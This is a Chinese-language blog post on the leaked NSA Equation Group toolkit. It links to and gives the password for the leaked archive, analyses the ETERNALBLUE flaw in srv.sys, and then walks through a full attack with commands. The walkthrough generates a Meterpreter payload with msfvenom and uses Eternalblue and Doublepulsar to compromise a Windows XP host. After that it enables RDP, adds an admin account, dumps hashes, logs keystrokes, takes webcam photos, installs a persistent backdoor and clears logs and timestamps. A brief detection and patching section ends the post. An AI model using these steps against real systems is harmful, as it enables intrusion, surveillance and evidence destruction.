NSA方程式工具利用与分析
下载地址:https://yadi.sk/d/NJqzpqo_3GxZA4
解压密码:Reeeeeeeeeeeeeee
github下载地址:https://github.com/misterch0c/shadowbroker
释放的工具总共包含三个文件夹,
- Swift:包含了NSA对SWIFT银行系统发动攻击的相关证据,其中有EastNets的一些PPT文档、相关的证据、一些登录凭证和内部架构,EastNets是中东最大的SWIFT服务机构之一。
- OddJob:包含一个基于Windows的植入软件,并包括所指定的配置文件和payload。适用于Windows Server 2003 Enterprise(甚至Windows XP Professional)
- Windows:包含对Windows操作系统的许多黑客工具,但主要针对的是较旧版本的Windows(Windows XP中)和Server 2003。
主要工具
FUZZBUNCH:一款类似Metasploit的Exploit框架
模块 | 漏洞 | 影响系统 | 默认端口 |
---|---|---|---|
Easypi | IBM Lotus Notes漏洞 | Windows NT, 2000 ,XP, 2003 | 3264 |
Easybee | MDaemon WorldClient电子邮件服务器漏洞 | WorldClient 9.5, 9.6, 10.0, 10.1 | |
Eternalblue | SMBv2漏洞(MS17-010) | Windows XP(32),Windows Server 2008 R2(32/64),Windows 7(32/64) | 139/445 |
Doublepulsar | SMB和NBT漏洞 | Windows XP(32), Vista, 7, Windows Server 2003, 2008, 2008 R2 | 139/445 |
Eternalromance | SMBv1漏洞(MS17-010)和 NBT漏洞 | Windows XP, Vista, 7, Windows Server 2003, 2008, 2008 R2 | 139/445 |
Eternalchampion | SMB和NBT漏洞 | Windows XP, Vista, 7, Windows Server 2003, 2008, 2008 R2, 2012, Windows 8 SP0 | 139/445 |
Eternalsynergy | SMB和NBT漏洞 | Windows 8, Windows Server 2012 | 139/445 |
Explodingcan | IIS6.0远程利用漏洞 | Windows Server 2003 | 80 |
Emphasismine | IMAP漏洞 | IBM Lotus Domino 6.5.4, 6.5.5, 7.0, 8.0, 8.5 | 143 |
Ewokfrenzy | IMAP漏洞 | IBM Lotus Domino 6.5.4, 7.0.2 | 143 |
Englishmansdentist | SMTP漏洞 | 25 | |
Erraticgopher | RPC漏洞 | Windows XP SP3, Windows 2003 | 445 |
Eskimoroll | kerberos漏洞 | Windows 2000, 2003, 2003 R2, 2008, 2008 R2 | 88 |
Eclipsedwing | MS08-067漏洞 | Windows 2000, XP, 2003 | 139/445 |
Educatedscholar | MS09-050漏洞 | Windows vista, 2008 | 445 |
Emeraldthread | SMB和NBT漏洞 | Windows XP, 2003 | 139/445 |
Zippybeer | SMTP漏洞 | 445 | |
Esteemaudit | RDP漏洞 | Windows XP, Windows Server 2003 | 3389 |
ETERNALBLUE攻击原理分析
ETERNALBLUE是一个RCE漏洞利用,通过SMB(Server Message Block)和NBT(NetBIOS over TCP/IP)影响Windows XP,Windows 2008 R2和Windows 7系统。
漏洞发生处:C:\Windows\System32\drivers\srv.sys
注:srv.sys是Windows系统驱动文件,是微软默认的信任文件。
漏洞函数:unsigned int __fastcall SrvOs2FeaToNt(int a1, int a2)
触发点:_memmove(v5, (const void *)(a2 + 5 + *(_BYTE *)(a1 + 5)), *(_WORD *)(a1 + 6));
原因:逻辑不正确导致的越界写入
官方补丁修复前:
int __fastcall SrvOs2FeaListSizeToNt(_DWORD *a1)
{//SNIP...while (v3 = v4 || (v7 = *(_BYTE *)(v3 + 1) + *(_WORD *)(v3 + 2), v7 + v3 + 5 > v4)){*(WORD*)v6 = v3 - (_DWORD)v6; //<----------修改处return v1;}//SNIP...
}
int __thiscall ExecuteTransaction(int this)
{//SNIP...if (*(_DWORD *)(v3 + 0x50) >= 1) //<------修改处{_SrvSetSmbError2(0, 464, "onecore\\base\\fs\\remotefs\\smb\\srv\\srv.downlevel\\smbtrans.c");SrvLogInvalidSmbDirect(v1, v10);goto LABEL_109;}//SNIP...
}
修复后:
int __fastcall SrvOs2FeaListSizeToNt(_DWORD *a1)
{//SNIP...while (v3 = v4 || (v7 = *(_BYTE *)(v3 + 1) + *(_WORD *)(v3 + 2), v7 + v3 + 5 > v4)){*(DWORD*)v6 = v3 - (_DWORD)v6; //<--------修改处return v1;}//SNIP...
}
int __thiscall ExecuteTransaction(int this)
{//SNIP...if (*(_DWORD *)(v3 + 0x50) >= 2u) //<------修改处{_SrvSetSmbError2(0, 464, "onecore\\base\\fs\\remotefs\\smb\\srv\\srv.downlevel\\smbtrans.c");SrvLogInvalidSmbDirect(v1, v10);goto LABEL_109;}//SNIP...
}
具体见参考资料5
漏洞复现
- 环境搭建
主机类型 | OS | IP |
---|---|---|
攻击机1 | win2003 | 10.10.10.130 |
攻击机2 | kali linux 2.0 | 10.10.10.128 |
靶机 | winXP x86 | 10.10.10.129 |
2. 工具准备
- 解压NSA工具包中的windows文件夹到攻击机1的C:\目录下(只要不是中文目录皆可);
- 在攻击机1安装:
- python-2.6.6.msi
- pywin32-221.win32-py2.6.exe
- 在攻击机2先生成用于回连的dll
msfvenom -p windows/meterpreter/bind_tcp LPORT=5555 -f dll > x86bind.dll
3.扫描开启445端口的活跃主机并探测操作系统
nmap -Pn -p445 -O 10.10.10.0/24
nmap -Pn -p445 -O -iL ip.txt
4.攻击机1开始利用ETERNALBLUE攻击
python fb.py
use Eternalblue
...
5.利用Doublepulsar注入dll
use Doublepulsar
6.kali攻击机利用msf回连控制主机5555端口
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set LPORT 5555
set RHOST XXX.XXX.XXX.XXX
exploit
后渗透攻击
开3389端口
(1)wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != “”) call
setallowtsconnections 1
(2)wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName =’RDP-Tcp’) call
setuserauthenticationrequired 1
(3)reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
针对win XP及win2003只需要第3条命令
针对win 7需要第1,2条命令
针对win 2012需要3条命令添加账户进管理组
net user sherlly sherlly /add
net localgroup Administrators sherlly /add
端口转发
如果3389端口只限内网访问,可以使用portfwd将端口转发到本地连接
portfwd add -l 4444 -p 3389 -r XXX.XXX.XXX.XXX
rdesktop -u root -p toor 127.0.0.1:4444
meterpreter自带的多功能shell
- hashdump:获取用户密码哈希值,可以用ophcrack等彩虹表工具进行破解明文
- screenshot:获取屏幕截图
- webcam_snap:调取对方摄像头拍照
- keyscan_start,keyscan_dump:记录键盘动作
- ps:查看当前运行进程
- sysinfo:查看系统信息
- getsystem:提权
维持控制
- migrate:将meterpreter会话移至另一个进程内存空间(migrate pid)配合ps使用
- irb:与ruby终端交互,调用meterpreter封装函数,可以添加Railgun组件直接交互本地的Windows API,阻止目标主机进入睡眠状态
irb
client.core.use("railgun)
client.railgun.kernel32.SetThreadExecutionState("ES_CONTINUOUS|ES_SYSTEM_REQUIRED") - background:隐藏在后台方便msf终端进行其他操作,session查看对话id
- session -i X:使用已经成功获取的对话
植入后门
- 测试是否虚拟机:
run post/windows/gather/checkvm
- 以系统服务形式安装:在目标主机的31337端口开启监听,使用metsvc.exe安装metsvc-server.exe服务,运行时加载metsrv.dll
run metsvc
- getgui开启远程桌面:
run getgui -u sherlly -p sherlly
run multi_console_command -rc /root/.msf3/logs/scripts/getgui/clean_up_XXX.rc
//清除痕迹,关闭服务,删除添加账号
- 测试是否虚拟机:
清除入侵痕迹
- clearev:清除日志
- timestomp:修改文件的创建时间,最后写入和最后访问时间
timestomp xiugai.doc -f old.doc
检测&防御
- 国外有人写了个检测Doublepulsar入侵的脚本,运行环境需要python2.6, 地址https://github.com/countercept/doublepulsar-detection-script, 使用方法
python detect_doublepulsar_smb.py --ip XXX.XXX.XXX.XXX
python detect_doublepulsar_rdp.py --file ips.list --verbose --threads 1
另外,nmap也基于该脚本出了对应扫描脚本smb-double-pulsar-backdoor.nse,使用方法nmap -p 445 <target> --script=smb-double-pulsar-backdoor
- 安装相应补丁https://blogs.technet.microsoft.com/msrc/2017/04/14/protecting-customers-and-evaluating-risk/
- 如非必要,关闭25, 88, 139, 445, 3389端口
- 使用防火墙、或者安全组配置安全策略,屏蔽对包括445、3389在内的系统端口访问。(见参考资料7)
参考资料
- http://thehackernews.com/2017/04/swift-banking-hacking-tool.html
- http://www.freebuf.com/sectool/132029.html
- https://www.cyberscoop.com/nsa-hacking-tools-shadow-brokers-dark-web-microsoft-smb/
- http://www.file.net/process/srv.sys.html
- http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
- https://nmap.org/nsedoc/scripts/smb-double-pulsar-backdoor.html
- https://jingyan.baidu.com/article/c843ea0b7d5c7177931e4ab1.html
NSA方程式工具利用与分析相关推荐
- NSA方程式泄漏工具包浅析
本文讲的是NSA方程式泄漏工具包浅析,前日,臭名昭著的方程式组织工具包再次被公开,TheShadowBrokers在steemit.com博客上提供了相关消息.据此,腾讯云鼎实验室对此进行了分析.本次 ...
- 影子经纪人再次归来,公开密码解密更多NSA黑客工具!连中国运营商都被入侵过?...
影子经纪人再次归来,公开密码解密更多NSA黑客工具!连中国运营商都被入侵过? 我们最近一次报道Shadow Brokers的消息是在今年1月份,当时Shadow Brokers似乎已经"决定 ...
- MPB:清华杨云锋组-利用GeoChip分析环境微生物功能基因群落结构
为进一步提高<微生物组实验手册>稿件质量,本项目新增大众评审环节.文章在通过同行评审后,采用公众号推送方式分享全文,任何人均可在线提交修改意见.公众号格式显示略有问题,建议电脑端点击文末阅 ...
- 利用jvisualvm分析JVM,进行性能调优
什么是jvisualvm? jvisualvm是JDK自带分析工具. 可分析JDK1.6及其以上版本的JVM运行时的JVM参数.系统参数.堆栈.CPU使用等信息.可分析本地应用及远程应用. 在JDK1 ...
- 利用Pin分析程序的动态行为特征
在程序设计和优化过程中,我们通常希望能有工具帮助我们分析热点代码.覆盖率.内存泄露等这些特性,对多线程程序还希望能分析并发性.竞争和死锁等等.但这些特征通常在静态编译时很难获取,而且往往只能在运行时才 ...
- 黑产工具情报的分析方式浅析
接下来我们以恶意爬虫.抢券工具和注册机三种工具来谈一下黑产工具情报的分析方式. 对于企业方面来说,黑产工具情报可以有效的提高业务安全的攻防效率.通过分析工具利用的业务接口,不仅可以将黑产作恶行为进行有 ...
- 利用水文分析提取山脊线山谷线
1 流程图 利用水文分析提取山脊线及山谷线,山脊线相当于分水线,山谷线相当于山谷线.分水线是水流的起源点,这些栅格的水流方向只存在流出方向而不存在流入方向,所以汇流累积量为零.通过对零值的提取就可以得 ...
- matlab 山脊 提取,ArcGIS中利用水文分析提取山脊线山谷线
1 流程图 利用水文分析提取山脊线及山谷线,山脊线相当于分水线,山谷线相当于山谷线.分水线是水流的起源点,这些栅格的水流方向只存在流出方向而不存在流入方向,所以汇流累积量为零.通过对零值的提取就可以得 ...
- 利用水文分析方法提取山脊、山谷线
1.背景 作为地形特征线的山音线.山谷线对地形.地貌具有一定的控制作用.它们与山顶点.谷底点以及鞍部点等一起构成了地形起伏变化的骨架结构.同时由于山登线具有分水性,山谷线具有合水性特征,使得它们在地形 ...
- 01 ArcGIS空间分析--水文分析--利用水文分析方法提取山谷山脊线
ArcGIS空间分析的一个特别好的分析教程是汤国安老师的空间分析的内容. 实例与练习 练习1. 利用水文分析方法提取山脊.山谷线 1. 背景:山脊线.山谷线是地形特征线,它们对地形.地貌具有一定的控制 ...
最新文章
- LeetCode 595 Big Countries: SQL的题
- 关于Activity onNewIntent方法的调用时机
- quick sort
- flutter重新配置sdk路径_在Android中配置flutter
- php简单文件上传类
- 解决Adobe Animate CC 中文版非中文的BUG
- Python切分文本(将文本文档切分为词列表)
- 华为彭松:基于C.A.F模型构建联接竞争力,创造新增长
- kubernetes相关命令
- Deep Learning for NLP Best Practices
- 1、JavaWbe基本概念
- 微软笔试题-c语言-算法分析
- 迷惘_飘云羽逸_新浪博客
- 华为账号不能连接服务器怎么回事,云服务器连接不了是什么原因_云服务器连不上是为什么_华为云...
- 包姓女孩清秀文雅的名字
- 使用VMware安装CentOS
- linux安装globalsign证书,Globalsign 标准型(EV型)代码签名证书提取指南
- 做学问的三种境界(王国维)和八种境界(梁漱溟)
- 未转变者服务器物品建筑id,未转变者建筑物id是什么 | 手游网游页游攻略大全...
- 将两个或多个div放在同一行